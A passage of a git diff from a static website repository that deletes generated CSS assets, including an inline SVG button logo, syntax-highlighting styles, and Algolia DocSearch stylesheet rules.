248.902 83.7862 248.694 85.9837C248.486 88.1813 248.158 90.7291 247.711 93.6267C247.647 94.2957 247.903 94.8376 248.479 95.2515C249.054 95.6648 249.709 95.9036 250.444 95.9678C251.179 96.0315 251.875 95.9036 252.53 95.586C253.185 95.2666 253.561 94.7097 253.656 93.9139C253.752 92.417 253.936 90.8249 254.208 89.1364C254.479 87.4492 254.815 85.7771 255.215 84.1207C255.614 82.465 256.069 80.8887 256.581 79.3911C257.092 77.8942 257.66 76.573 258.283 75.4263C258.907 74.2797 259.554 73.3645 260.225 72.6797C260.896 71.9949 261.599 71.6524 262.335 71.6524C263.229 71.6524 263.924 72.0579 264.42 72.87C264.915 73.6827 265.266 74.7263 265.475 75.999C265.682 77.2736 265.778 78.6675 265.763 80.1796C265.746 81.6923 265.682 83.1492 265.571 84.5504C265.459 85.9522 265.331 87.2019 265.187 88.3007C265.043 89.3995 264.939 90.1564 264.876 90.5697C264.876 91.3025 265.155 91.8831 265.714 92.3134C266.273 92.743 266.896 92.9982 267.584 93.0776C268.272 93.1576 268.918 93.0297 269.526 92.6952C270.133 92.3606 270.485 91.7964 270.581 90.9994C270.9 88.7067 271.34 86.4062 271.899 84.0971C272.458 81.7881 273.098 79.7184 273.817 77.8869C274.536 76.0554 275.335 74.5585 276.214 73.3961C277.093 72.2343 278.028 71.6524 279.019 71.6524C279.53 71.6524 279.922 72.0033 280.193 72.7033C280.465 73.4039 280.601 74.3591 280.601 75.5694C280.601 76.4615 280.529 77.3772 280.386 78.3166C280.241 79.256 280.074 80.2275 279.882 81.2305C279.69 82.2341 279.522 83.2608 279.378 84.3117C279.235 85.3632 279.163 86.4613 279.163 87.608C279.163 88.4043 279.243 89.3279 279.403 90.3788C279.562 91.4291 279.865 92.4255 280.313 93.3642C280.761 94.3042 281.376 95.1 282.16 95.7527C282.943 96.4054 283.941 96.7321 285.155 96.7321C286.978 96.7321 288.591 96.3418 289.998 95.5618C291.404 94.7818 292.611 93.763 293.618 92.5049C293.67 92.4388 293.718 92.3685 293.769 92.3031C293.846 92.4891 293.914 92.6861 294.001 92.863C294.688 94.2642 295.623 95.3466 296.806 96.1115C297.988 96.8757 299.379 97.2975 300.978 97.3775C302.575 97.4563 304.317 97.1618 306.204 96.4933C307.609 95.9836 308.832 95.3466 309.871 94.5824C310.909 93.8182 311.844 92.8867 312.675 91.7879C313.507 90.6891 314.265 89.4231 314.953 87.9904C315.641 86.5565 316.335 84.9171 317.038 83.0692C317.166 82.5608 317.046 82.1068 316.679 81.7081C316.311 81.3105 315.864 81.0317 315.336 80.8717Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M341.393 75.5432C341.233 76.4832 341.018 77.5189 340.746 78.6486C340.474 79.7795 340.131 80.9498 339.715 82.1601C339.3 83.3703 338.788 84.4612 338.181 85.4321C337.574 86.4042 336.878 87.1757 336.096 87.7491C335.312 88.3224 334.41 88.5612 333.387 88.4654C332.875 88.4024 332.483 88.0521 332.212 87.4145C331.94 86.7782 331.797 85.9655 331.78 84.9782C331.764 83.9915 331.852 82.9085 332.044 81.7298C332.236 80.5522 332.531 79.3971 332.932 78.2662C333.331 77.1365 333.818 76.0929 334.393 75.1371C334.969 74.182 335.632 73.4414 336.383 72.916C337.134 72.3905 337.958 72.1445 338.852 72.1754C339.747 72.2075 340.706 72.6529 341.729 73.5129C341.664 73.9275 341.553 74.6044 341.393 75.5432ZM358.437 79.1977C357.941 78.9431 357.43 78.888 356.903 79.031C356.376 79.174 356 79.6601 355.777 80.488C355.649 81.3801 355.361 82.4304 354.914 83.6406C354.466 84.8509 353.914 85.9982 353.26 87.08C352.604 88.163 351.853 89.063 351.006 89.7793C350.159 90.4963 349.256 90.823 348.298 90.7581C347.498 90.6951 346.938 90.289 346.62 89.5406C346.299 88.7921 346.132 87.8533 346.116 86.7218C346.099 85.5921 346.212 84.3182 346.451 82.9007C346.691 81.4837 346.979 80.0746 347.314 78.6722C347.65 77.2716 347.994 75.9256 348.346 74.6359C348.697 73.3463 348.984 72.2554 349.209 71.3639C349.464 70.5675 349.384 69.8912 348.969 69.333C348.553 68.7766 348.034 68.3778 347.411 68.1391C346.787 67.9003 346.155 67.8366 345.516 67.9481C344.877 68.0597 344.462 68.4021 344.27 68.9748C342.384 67.3506 340.57 66.4748 338.829 66.3476C337.086 66.2203 335.48 66.6027 334.01 67.4942C332.539 68.3857 331.237 69.6754 330.103 71.3639C328.968 73.0523 328.049 74.8911 327.345 76.8814C326.642 78.8716 326.203 80.9025 326.027 82.9722C325.851 85.0424 325.987 86.9297 326.435 88.6333C326.883 90.3369 327.673 91.7308 328.808 92.8126C329.942 93.8956 331.485 94.4375 333.435 94.4375C334.298 94.4375 335.129 94.2623 335.928 93.912C336.726 93.5611 337.462 93.1472 338.133 92.6696C338.804 92.192 339.395 91.6902 339.908 91.1648C340.418 90.6393 340.818 90.2018 341.106 89.8509C341.329 90.9975 341.697 91.9696 342.209 92.7654C342.719 93.5611 343.303 94.215 343.958 94.7235C344.613 95.2326 345.301 95.6071 346.02 95.8465C346.739 96.0853 347.435 96.2047 348.105 96.2047C349.608 96.2047 351.013 95.695 352.325 94.6756C353.635 93.6575 354.81 92.4066 355.849 90.926C356.887 89.4448 357.743 87.8848 358.413 86.2442C359.085 84.6043 359.532 83.1473 359.756 81.8728C359.98 81.3952 359.939 80.894 359.636 80.3686C359.332 79.8431 358.933 79.4534 358.437 79.1977Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M444.738 105.571C444.467 106.653 444.043 107.57 443.467 108.318C442.892 109.066 442.173 109.456 441.31 109.489C440.767 109.52 440.351 109.233 440.063 108.629C439.776 108.023 439.576 107.243 439.464 106.288C439.352 105.332 439.304 104.265 439.32 103.087C439.336 101.909 439.384 100.746 439.464 99.5996C439.543 98.4536 439.64 97.3857 439.752 96.3991C439.863 95.4112 439.951 94.6482 440.015 94.1064C441.102 94.2336 442.006 94.7027 442.724 95.5154C443.443 96.3275 443.995 97.2906 444.378 98.4057C444.762 99.5202 444.985 100.723 445.05 102.012C445.113 103.302 445.009 104.488 444.738 105.571ZM427.382 105.571C427.111 106.653 426.687 107.57 426.112 108.318C425.537 109.066 424.817 109.456 423.954 109.489C423.411 109.52 422.996 109.233 422.708 108.629C422.42 108.023 422.22 107.243 422.109 106.288C421.996 105.332 421.948 104.265 421.965 103.087C421.98 101.909 422.028 100.746 422.109 99.5996C422.188 98.4536 422.284 97.3857 422.396 96.3991C422.508 95.4112 422.595 94.6482 422.66 94.1064C423.746 94.2336 424.65 94.7027 425.368 95.5154C426.088 96.3275 426.639 97.2906 427.023 98.4057C427.407 99.5202 427.63 100.723 427.694 102.012C427.757 103.302 427.653 104.488 427.382 105.571ZM409.572 78.4375C409.539 79.2011 409.467 79.8781 409.355 80.4672C409.243 81.0575 409.092 81.4308 408.9 81.5902C408.548 81.3987 408.116 80.906 407.605 80.109C407.094 79.3133 406.695 78.4127 406.406 77.4096C406.119 76.4066 406.03 75.42 406.143 74.4479C406.254 73.477 406.758 72.7212 407.653 72.1788C408.004 71.9879 408.308 72.0594 408.564 72.394C408.82 72.7285 409.027 73.2139 409.188 73.8509C409.347 74.4885 409.458 75.2206 409.523 76.0485C409.587 76.8769 409.603 77.6727 409.572 78.4375ZM405.328 87.9677C404.832 88.4925 404.28 88.9464 403.674 89.3289C403.066 89.7113 402.443 89.9979 401.804 90.1889C401.164 90.3804 400.589 90.4276 400.078 90.3319C398.64 90.0458 397.537 89.424 396.77 88.4689C396.003 87.5137 395.515 86.3913 395.308 85.1017C395.1 83.8114 395.123 82.4338 395.38 80.969C395.635 79.5042 396.066 78.143 396.674 76.8848C397.281 75.6266 398.017 74.5436 398.879 73.6364C399.742 72.7285 400.685 72.1637 401.708 71.94C401.324 73.5642 401.197 75.2448 401.324 76.98C401.452 78.7157 401.868 80.3478 402.571 81.8762C403.018 82.8011 403.554 83.6441 404.177 84.4083C404.801 85.1732 405.56 85.8259 406.455 86.3671C406.199 86.9089 405.823 87.4422 405.328 87.9677ZM458.378 78.9151C458.474 78.183 458.617 77.4096 458.81 76.5975C459.001 75.786 459.241 74.9976 459.528 74.2333C459.816 73.4685 460.152 72.8079 460.536 72.2509C460.92 71.694 461.326 71.2952 461.758 71.0564C462.19 70.8176 462.629 70.8413 463.076 71.1279C463.556 71.4152 463.851 72.02 463.963 72.943C464.075 73.8673 463.963 74.8539 463.628 75.9054C463.292 76.9563 462.693 77.9436 461.83 78.8666C460.968 79.7914 459.8 80.3957 458.33 80.6823C458.266 80.2369 458.282 79.6478 458.378 78.9151ZM477.7 78.9151C477.796 78.183 477.939 77.4096 478.131 76.5975C478.323 75.786 478.563 74.9976 478.851 74.2333C479.138 73.4685 479.473 72.8079 479.857 72.2509C480.241 71.694 480.649 71.2952 481.08 71.0564C481.512 70.8176 481.951 70.8413 482.398 71.1279C482.878 71.4152 483.173 72.02 483.285 72.943C483.397 73.8673 483.285 74.8539 482.95 75.9054C482.614 76.9563 482.015 77.9436 481.152 78.8666C480.289 79.7914 479.122 80.3957 477.652 80.6823C477.588 80.2369 477.604 79.6478 477.7 78.9151ZM495.655 81.7096C495.287 81.312 494.84 81.0332 494.313 80.8732C493.785 80.7144 493.282 80.6987 492.802 80.826C492.323 80.9532 492.018 81.2878 491.891 81.829C491.635 82.8484 491.228 83.8914 490.669 84.9574C490.109 86.0253 489.422 87.0362 488.607 87.9913C487.792 88.9464 486.873 89.7913 485.851 90.5234C484.827 91.2561 483.757 91.7816 482.639 92.0991C481.519 92.4506 480.592 92.49 479.857 92.2191C479.122 91.9488 478.539 91.487 478.107 90.8343C477.676 90.181 477.365 89.3931 477.172 88.4689C476.981 87.5459 476.868 86.5907 476.837 85.6029C478.659 85.7307 480.281 85.4047 481.703 84.6235C483.125 83.8435 484.332 82.8077 485.324 81.5181C486.314 80.229 487.065 78.7799 487.576 77.1715C488.087 75.563 488.375 73.963 488.44 72.3703C488.471 70.8734 488.247 69.6073 487.768 68.5722C487.289 67.5377 486.642 66.7328 485.827 66.1601C485.011 65.5862 484.077 65.2522 483.021 65.1565C481.967 65.0607 480.896 65.205 479.809 65.5862C478.498 66.0328 477.388 66.7571 476.478 67.7601C475.567 68.7637 474.807 69.9267 474.2 71.2473C473.592 72.5697 473.113 73.9939 472.761 75.523C472.409 77.0515 472.154 78.5569 471.995 80.0375C471.839 81.4744 471.755 82.8496 471.736 84.1659C471.615 84.4283 471.486 84.692 471.347 84.9574C470.787 86.0253 470.1 87.0362 469.285 87.9913C468.471 88.9464 467.551 89.7913 466.529 90.5234C465.506 91.2561 464.435 91.7816 463.317 92.0991C462.197 92.4506 461.271 92.49 460.536 92.2191C459.8 91.9488 459.217 91.487 458.786 90.8343C458.355 90.181 458.043 89.3931 457.851 88.4689C457.659 87.5459 457.547 86.5907 457.515 85.6029C459.337 85.7307 460.959 85.4047 462.382 84.6235C463.803 83.8435 465.01 82.8077 466.001 81.5181C466.992 80.229 467.743 78.7799 468.254 77.1715C468.765 75.563 469.054 73.963 469.117 72.3703C469.149 70.8734 468.926 69.6073 468.447 68.5722C467.967 67.5377 467.319 66.7328 466.504 66.1601C465.689 65.5862 464.755 65.2522 463.7 65.1565C462.645 65.0607 461.574 65.205 460.488 65.5862C459.176 66.0328 458.066 66.7571 457.156 67.7601C456.245 68.7637 455.485 69.9267 454.878 71.2473C454.271 72.5697 453.792 73.9939 453.44 75.523C453.088 77.0515 452.832 78.5569 452.673 80.0375C452.582 80.8726 452.522 81.6823 452.477 82.4774C452.168 82.7393 451.867 83.0029 451.546 83.2617C450.444 84.1538 449.284 84.9574 448.07 85.6744C446.855 86.3913 445.592 86.9804 444.283 87.4422C442.971 87.904 441.629 88.1828 440.255 88.278L443.228 56.5578C443.42 55.8887 443.324 55.3003 442.94 54.7906C442.557 54.2809 442.061 53.9306 441.454 53.7397C440.847 53.5482 440.199 53.5645 439.512 53.787C438.824 54.0106 438.258 54.5203 437.81 55.3154C437.586 56.5263 437.354 58.182 437.115 60.2838C436.875 62.3856 436.635 64.6789 436.396 67.1631C436.156 69.6473 435.916 72.2109 435.677 74.8539C435.437 77.4981 435.229 79.966 435.053 82.2587C435.045 82.3605 435.039 82.4526 435.031 82.5532C434.751 82.7896 434.48 83.0277 434.19 83.2617C433.088 84.1538 431.928 84.9574 430.714 85.6744C429.499 86.3913 428.237 86.9804 426.927 87.4422C425.616 87.904 424.273 88.1828 422.899 88.278L425.872 56.5578C426.064 55.8887 425.968 55.3003 425.585 54.7906C425.201 54.2809 424.705 53.9306 424.098 53.7397C423.491 53.5482 422.843 53.5645 422.156 53.787C421.469 54.0106 420.902 54.5203 420.454 55.3154C420.23 56.5263 419.999 58.182 419.76 60.2838C419.519 62.3856 419.28 64.6789 419.04 67.1631C418.8 69.6473 418.561 72.2109 418.321 74.8539C418.082 77.4981 417.873 79.966 417.698 82.2587C417.694 82.3047 417.691 82.3465 417.687 82.3926C417.185 82.6247 416.638 82.8284 416.043 82.9993C415.436 83.175 414.749 83.2786 413.982 83.3102C414.11 82.7362 414.213 82.0993 414.293 81.3987C414.373 80.6987 414.438 79.966 414.486 79.2011C414.534 78.4375 414.549 77.6727 414.534 76.9084C414.517 76.1436 414.477 75.4436 414.414 74.806C414.253 73.4376 413.958 72.1394 413.527 70.9128C413.095 69.6873 412.512 68.6607 411.777 67.8316C411.041 67.0037 410.123 66.4462 409.019 66.1601C407.917 65.8734 406.63 65.9686 405.161 66.4462C402.986 66.1601 401.029 66.3595 399.287 67.0437C397.545 67.7292 396.034 68.7237 394.756 70.0291C393.478 71.3358 392.431 72.8715 391.616 74.6394C390.801 76.4066 390.257 78.2224 389.986 80.0848C389.871 80.8744 389.815 81.6605 389.798 82.4447C389.303 83.4544 388.761 84.3368 388.164 85.0774C387.317 86.1283 386.438 86.9883 385.527 87.6568C384.616 88.3258 383.713 88.8355 382.819 89.1858C381.923 89.5367 381.124 89.7755 380.421 89.9022C379.59 90.0616 378.791 90.0779 378.024 89.9501C377.257 89.8234 376.553 89.4567 375.915 88.8513C375.403 88.4058 375.011 87.6889 374.74 86.7016C374.468 85.7144 374.309 84.5926 374.261 83.3338C374.213 82.0756 374.261 80.7617 374.404 79.3926C374.548 78.0236 374.795 76.7254 375.147 75.4994C375.499 74.2733 375.945 73.1746 376.49 72.2024C377.032 71.2322 377.672 70.5388 378.408 70.1249C378.822 70.1891 379.079 70.4352 379.175 70.8649C379.271 71.2952 379.294 71.8049 379.246 72.394C379.199 72.9836 379.127 73.5885 379.031 74.2091C378.935 74.8303 378.887 75.3485 378.887 75.7618C379.047 76.6218 379.358 77.2909 379.822 77.7684C380.285 78.246 380.805 78.5254 381.38 78.6042C381.955 78.6842 382.522 78.549 383.083 78.1981C383.641 77.8484 384.096 77.2909 384.449 76.526C384.48 76.5581 384.528 76.5739 384.592 76.5739L385.264 70.5073C385.455 69.6788 385.327 68.9467 384.88 68.3098C384.432 67.6728 383.841 67.3062 383.106 67.211C382.179 65.8734 380.924 65.165 379.342 65.085C377.76 65.0056 376.138 65.5231 374.476 66.6377C373.453 67.371 372.55 68.3813 371.767 69.671C370.983 70.9613 370.345 72.394 369.85 73.9703C369.353 75.5466 369.002 77.2115 368.795 78.963C368.587 80.7144 368.547 82.4187 368.674 84.0738C368.802 85.7307 369.098 87.2913 369.562 88.7555C370.025 90.221 370.672 91.447 371.504 92.4337C372.207 93.2937 373.005 93.9233 373.9 94.3215C374.795 94.7197 375.73 94.9658 376.705 95.0615C377.68 95.1567 378.647 95.1167 379.606 94.9421C380.565 94.7676 381.476 94.5209 382.339 94.2015C383.457 93.7882 384.609 93.2621 385.791 92.6252C386.973 91.9888 388.108 91.224 389.195 90.3319C389.767 89.8628 390.317 89.3513 390.849 88.8028C391.091 89.4016 391.362 89.981 391.688 90.5234C392.551 91.9561 393.717 93.1191 395.188 94.0106C396.657 94.9021 398.464 95.3312 400.605 95.3003C402.907 95.2682 405.032 94.6876 406.982 93.5567C408.932 92.427 410.53 90.7616 411.777 88.5646C413.644 88.5646 415.481 88.258 417.287 87.6489C417.272 87.8416 417.256 88.0446 417.242 88.2307C417.115 89.9186 417.05 91.0646 417.05 91.67C417.019 92.7209 416.947 94.0185 416.835 95.5627C416.723 97.1075 416.651 98.7318 416.619 100.435C416.588 102.139 416.651 103.859 416.811 105.595C416.971 107.33 417.306 108.907 417.818 110.325C418.328 111.741 419.055 112.944 419.999 113.932C420.941 114.918 422.18 115.508 423.715 115.699C425.345 115.921 426.751 115.635 427.934 114.839C429.116 114.042 430.075 112.952 430.811 111.567C431.546 110.181 432.064 108.581 432.369 106.766C432.672 104.95 432.76 103.127 432.633 101.295C432.504 99.4639 432.168 97.7366 431.625 96.113C431.082 94.4882 430.33 93.1506 429.372 92.0991C429.948 91.9409 430.634 91.6385 431.434 91.1919C432.232 90.7464 433.055 90.2446 433.903 89.687C434.111 89.5501 434.316 89.4058 434.524 89.2652C434.446 90.3937 434.406 91.1985 434.406 91.67C434.375 92.7209 434.303 94.0185 434.19 95.5627C434.079 97.1075 434.007 98.7318 433.975 100.435C433.943 102.139 434.007 103.859 434.167 105.595C434.326 107.33 434.662 108.907 435.173 110.325C435.684 111.741 436.412 112.944 437.354 113.932C438.297 114.918 439.536 115.508 441.071 115.699C442.7 115.921 444.106 115.635 445.289 114.839C446.472 114.042 447.431 112.952 448.166 111.567C448.901 110.181 449.42 108.581 449.724 106.766C450.028 104.95 450.115 103.127 449.988 101.295C449.86 99.4639 449.524 97.7366 448.982 96.113C448.437 94.4882 447.687 93.1506 446.727 92.0991C447.303 91.9409 447.99 91.6385 448.789 91.1919C449.588 90.7464 450.411 90.2446 451.259 89.687C451.699 89.3974 452.136 89.0986 452.573 88.7913C452.737 90.3488 453.091 91.7149 453.655 92.864C454.343 94.2658 455.277 95.3482 456.46 96.113C457.642 96.8766 459.033 97.299 460.632 97.3784C462.23 97.4572 463.971 97.1633 465.858 96.4942C467.264 95.9851 468.486 95.3482 469.525 94.5839C470.563 93.8191 471.498 92.8876 472.33 91.7894C472.378 91.7258 472.423 91.6567 472.47 91.5925C472.618 92.0385 472.782 92.467 472.977 92.864C473.665 94.2658 474.6 95.3482 475.782 96.113C476.964 96.8766 478.355 97.299 479.953 97.3784C481.551 97.4572 483.293 97.1633 485.179 96.4942C486.586 95.9851 487.808 95.3482 488.847 94.5839C489.885 93.8191 490.82 92.8876 491.652 91.7894C492.483 90.6901 493.241 89.424 493.929 87.9913C494.616 86.558 495.311 84.9186 496.015 83.0708C496.142 82.5617 496.022 82.1078 495.655 81.7096Z' fill='%230D0C23'/%3E%3C/svg%3E%0A");border-radius:6px;box-shadow:0px 2px 3px rgba(0,0,0,0.1)}:root[data-color="dark"] .btn-buymeacoffee,:root[data-color="night"] .btn-buymeacoffee{box-shadow:0px 2px 3px rgba(255,255,255,0.1)}.btn-close{background:var(--background-fg);border:1px dotted var(--border-color);border-radius:4px;cursor:pointer}.dropdown{position:relative}.dropdown-btn{display:flex;flex-direction:row;box-shadow:var(--box-shadow);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap}.dropdown-btn .icon-select{opacity:.4}.dropdown-menu{display:none;position:absolute;right:0;top:34px;min-width:100px;max-height:240px;overflow-x:auto;background:var(--background);color:var(--color3);box-shadow:var(--box-shadow2);z-index:1;border-radius:6px;padding:3px}.dropdown-menu.show{display:block}.dropdown-menu button,.dropdown-menu a{width:100%;display:flex;gap:2px;padding:6px;align-items:center;justify-content:center;cursor:pointer}.dropdown-menu button:hover,.dropdown-menu a:hover{background:var(--background-fg)}.chroma{font-size:.9em;color:var(--chroma-base05);background-color:var(--chroma-base00);border-radius:6px;padding:16px 24px;overflow-x:auto}.chroma .x{color:var(--chroma-base05)}.chroma .err{color:var(--chroma-base08)}.chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}.chroma .lntable{border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block}.chroma .hl{display:block;width:100%;background-color:var(--chroma-base02)}.chroma .lnt{margin-right:0.4em;padding:0 0.4em 0 0.4em}.chroma .ln{margin-right:0.4em;padding:0 0.4em 0 0.4em;border-right:1px solid var(--chroma-base0A)}.chroma .line{display:flex}.chroma .k{color:var(--chroma-base0E)}.chroma .kc{color:var(--chroma-base0E)}.chroma .kd{color:var(--chroma-base0E)}.chroma .kn{color:var(--chroma-base0E)}.chroma .kp{color:var(--chroma-base0D)}.chroma .kr{color:var(--chroma-base0E)}.chroma .kt{color:var(--chroma-base0E)}.chroma .n{color:var(--chroma-base05)}.chroma .na{color:var(--chroma-base05)}.chroma .nb{color:var(--chroma-base0D)}.chroma .bp{color:var(--chroma-base0D)}.chroma .nc{color:var(--chroma-base0A)}.chroma .no{color:var(--chroma-base09)}.chroma .nd{color:var(--chroma-base09)}.chroma .ni{color:var(--chroma-base0A)}.chroma .ne{color:var(--chroma-base0A)}.chroma .nf{color:var(--chroma-base05)}.chroma .fm{color:var(--chroma-base05)}.chroma .nl{color:var(--chroma-base08)}.chroma .nn{color:var(--chroma-base0A)}.chroma .nx{color:var(--chroma-base0D)}.chroma .py{color:var(--chroma-base08)}.chroma .nt{color:var(--chroma-base0D)}.chroma .nv{color:var(--chroma-base0D)}.chroma .vc{color:var(--chroma-base0D)}.chroma .vg{color:var(--chroma-base0D)}.chroma .vi{color:var(--chroma-base08)}.chroma .vm{color:var(--chroma-base0D)}.chroma .l{color:var(--chroma-base0B)}.chroma .ld{color:var(--chroma-base0B)}.chroma .s{color:var(--chroma-base0B)}.chroma .sa{color:var(--chroma-base0B)}.chroma .sb{color:var(--chroma-base0B)}.chroma .sc{color:var(--chroma-base0B)}.chroma .dl{color:var(--chroma-base0F)}.chroma .sd{color:var(--chroma-base03)}.chroma .s2{color:var(--chroma-base0B)}.chroma .se{color:var(--chroma-base0C)}.chroma .sh{color:var(--chroma-base0B)}.chroma .si{color:var(--chroma-base0F)}.chroma .sx{color:var(--chroma-base0B)}.chroma .sr{color:var(--chroma-base0C)}.chroma .s1{color:var(--chroma-base0B)}.chroma .ss{color:var(--chroma-base0B)}.chroma .m{color:var(--chroma-base09)}.chroma .mb{color:var(--chroma-base09)}.chroma .mf{color:var(--chroma-base09)}.chroma .mh{color:var(--chroma-base09)}.chroma .mi{color:var(--chroma-base09)}.chroma .il{color:var(--chroma-base09)}.chroma .mo{color:var(--chroma-base09)}.chroma .o{color:var(--chroma-base05)}.chroma .ow{color:var(--chroma-base05)}.chroma .p{color:var(--chroma-base05)}.chroma .c{color:var(--chroma-base03)}.chroma .ch{color:var(--chroma-base03)}.chroma .cm{color:var(--chroma-base03)}.chroma .c1{color:var(--chroma-base03)}.chroma .cs{color:var(--chroma-base03)}.chroma .cp{color:var(--chroma-base0F)}.chroma .cpf{color:var(--chroma-base0B)}.chroma .g{color:var(--chroma-base05)}.chroma .gd{color:var(--chroma-base08)}.chroma .ge{color:var(--chroma-base05);font-style:italic}.chroma .gr{color:var(--chroma-base05)}.chroma .gh{color:var(--chroma-base0D)}.chroma .gi{color:var(--chroma-base0B)}.chroma .go{color:var(--chroma-base05)}.chroma .gp{color:var(--chroma-base05)}.chroma .gs{color:var(--chroma-base05);font-weight:bold}.chroma .gu{color:var(--chroma-base0D)}.chroma .gt{color:var(--chroma-base05)}.chroma .gl{color:var(--chroma-base05);text-decoration:underline}.chroma .w{color:var(--chroma-base00)}html{font-family:var(--font-family);background:var(--background);color:var(--color);scroll-behavior:smooth;scroll-padding:2em} - -/*# sourceMappingURL=base.css.map */ \ No newline at end of file diff --git a/resources/_gen/assets/scss/scss/base.scss_7724f67189cff0c6ae476b070cf609b9.json b/resources/_gen/assets/scss/scss/base.scss_7724f67189cff0c6ae476b070cf609b9.json deleted file mode 100644 index 2388e9a..0000000 --- a/resources/_gen/assets/scss/scss/base.scss_7724f67189cff0c6ae476b070cf609b9.json +++ /dev/null @@ -1 +0,0 @@ -{"Target":"scss/base.css","MediaType":"text/css","Data":{}} \ No newline at end of file diff --git a/resources/_gen/assets/scss/scss/component/docsearch.scss_7724f67189cff0c6ae476b070cf609b9.content b/resources/_gen/assets/scss/scss/component/docsearch.scss_7724f67189cff0c6ae476b070cf609b9.content deleted file mode 100644 index 7b45a98..0000000 --- a/resources/_gen/assets/scss/scss/component/docsearch.scss_7724f67189cff0c6ae476b070cf609b9.content +++ /dev/null @@ -1,7 +0,0 @@ -/*! @docsearch/css 3.2.0 | MIT License | © Algolia, Inc. and contributors | https://docsearch.algolia.com | https://cdn.jsdelivr.net/npm/@docsearch/css@3 */:root{--docsearch-primary-color: #5468ff;--docsearch-spacing: 12px;--docsearch-icon-stroke-width: 1.4;--docsearch-highlight-color: var(--docsearch-primary-color);--docsearch-muted-color: #969faf;--docsearch-container-background: rgba(255, 255, 255, 0.1);--docsearch-logo-color: #5468ff;--docsearch-modal-width: 560px;--docsearch-modal-height: 600px;--docsearch-modal-shadow: inset 1px 1px 0 0 hsla(0, 0%, 100%, 0.5), 0 3px 8px 0 #555a64;--docsearch-searchbox-height: 56px;--docsearch-searchbox-focus-background: #fff;--docsearch-searchbox-shadow: inset 0 0 0 2px var(--docsearch-primary-color);--docsearch-hit-height: 56px;--docsearch-hit-color: #444950;--docsearch-hit-active-color: #fff;--docsearch-hit-background: #fff;--docsearch-hit-shadow: 0 1px 3px 0 #d4d9e1;--docsearch-footer-height: 44px;--docsearch-footer-shadow: 0 -1px 0 0 #e0e3e8, 0 -3px 6px 0 rgba(69, 98, 155, 0.12) -}:root[data-color="dark"]{--docsearch-modal-shadow: inset 1px 1px 0 0 #2c2e40, 0 3px 8px 0 #000309;--docsearch-searchbox-focus-background: #000;--docsearch-hit-color: #bec3c9;--docsearch-hit-shadow: none;--docsearch-hit-background: #090a11;--docsearch-footer-shadow: inset 0 1px 0 0 rgba(73, 76, 106, 0.5), 0 -4px 8px 0 rgba(0, 0, 0, 0.2);--docsearch-muted-color: #7f8497 -}:root[data-color="night"]{--docsearch-modal-shadow: inset 1px 1px 0 0 #2c2e40, 0 3px 8px 0 #000309;--docsearch-searchbox-focus-background: #000;--docsearch-hit-color: #bec3c9;--docsearch-hit-shadow: none;--docsearch-hit-background: #090a11;--docsearch-footer-shadow: inset 0 1px 0 0 rgba(73, 76, 106, 0.5), 0 -4px 8px 0 rgba(0, 0, 0, 0.2);--docsearch-muted-color: #7f8497 -}.DocSearch-Button{width:100%;line-height:1.6em;align-items:center;box-shadow:var(--box-shadow);border-radius:24px;color:var(--color);cursor:pointer;display:flex;justify-content:space-between;margin:0 12px;padding:3px 6px;user-select:none}.DocSearch-Button:active,.DocSearch-Button:focus,.DocSearch-Button:hover{background:var(--docsearch-searchbox-focus-background);box-shadow:var(--docsearch-searchbox-shadow);color:var(--color);outline:none}.DocSearch-Button-Container{align-items:center;display:flex}.DocSearch-Search-Icon{stroke-width:1.6}.DocSearch-Button-Placeholder{font-size:1rem;padding:0 12px 0 6px;color:var(--color3)}.DocSearch-Button-Keys{display:flex;min-width:calc(40px + .8em)}.DocSearch-Button-Key{align-items:center;border-radius:3px;color:var(--docsearch-muted-color);display:flex;height:18px;justify-content:center;margin-right:.4em;position:relative;border:1px solid var(--border-color);width:20px}@media (min-width: 1278px){.DocSearch-Button{width:80%;margin:0}}@media (min-width: 2558px){.DocSearch-Button{width:60%}}@media (min-width: 3838px){.DocSearch-Button{width:40%}}.DocSearch--active{overflow:hidden !important}.DocSearch-Container,.DocSearch-Container *{box-sizing:border-box}.DocSearch-Container{background-color:var(--docsearch-container-background);height:100vh;left:0;position:fixed;top:0;width:100vw;z-index:200;backdrop-filter:blur(var(--blur));-webkit-backdrop-filter:blur(var(--blur))}.DocSearch-Container a{text-decoration:none}.DocSearch-Link{appearance:none;background:none;border:0;color:var(--docsearch-highlight-color);cursor:pointer;font:inherit;margin:0;padding:0}.DocSearch-Modal{background:var(--background);border-radius:6px;box-shadow:var(--docsearch-modal-shadow);flex-direction:column;margin:60px auto auto;max-width:var(--docsearch-modal-width);position:relative}.DocSearch-SearchBar{display:flex;padding:var(--docsearch-spacing) var(--docsearch-spacing) 0}.DocSearch-Form{align-items:center;background:var(--docsearch-searchbox-focus-background);border-radius:4px;box-shadow:var(--docsearch-searchbox-shadow);display:flex;height:var(--docsearch-searchbox-height);margin:0;padding:0 var(--docsearch-spacing);position:relative;width:100%}.DocSearch-Input{appearance:none;background:transparent;border:0;color:var(--docsearch-text-color);flex:1;font:inherit;font-size:1.2em;height:100%;outline:none;padding:0 0 0 8px;width:80%}.DocSearch-Input::placeholder{color:var(--docsearch-muted-color);opacity:1}.DocSearch-Input::-webkit-search-cancel-button,.DocSearch-Input::-webkit-search-decoration,.DocSearch-Input::-webkit-search-results-button,.DocSearch-Input::-webkit-search-results-decoration{display:none}.DocSearch-LoadingIndicator,.DocSearch-MagnifierLabel,.DocSearch-Reset{margin:0;padding:0}.DocSearch-MagnifierLabel,.DocSearch-Reset{align-items:center;color:var(--docsearch-highlight-color);display:flex;justify-content:center}.DocSearch-Container--Stalled .DocSearch-MagnifierLabel,.DocSearch-LoadingIndicator{display:none}.DocSearch-Container--Stalled .DocSearch-LoadingIndicator{align-items:center;color:var(--docsearch-highlight-color);display:flex;justify-content:center}@media screen and (prefers-reduced-motion: reduce){.DocSearch-Reset{animation:none;appearance:none;background:none;border:0;border-radius:50%;color:var(--docsearch-icon-color);cursor:pointer;right:0;stroke-width:var(--docsearch-icon-stroke-width)}}.DocSearch-Reset{animation:fade-in .1s ease-in 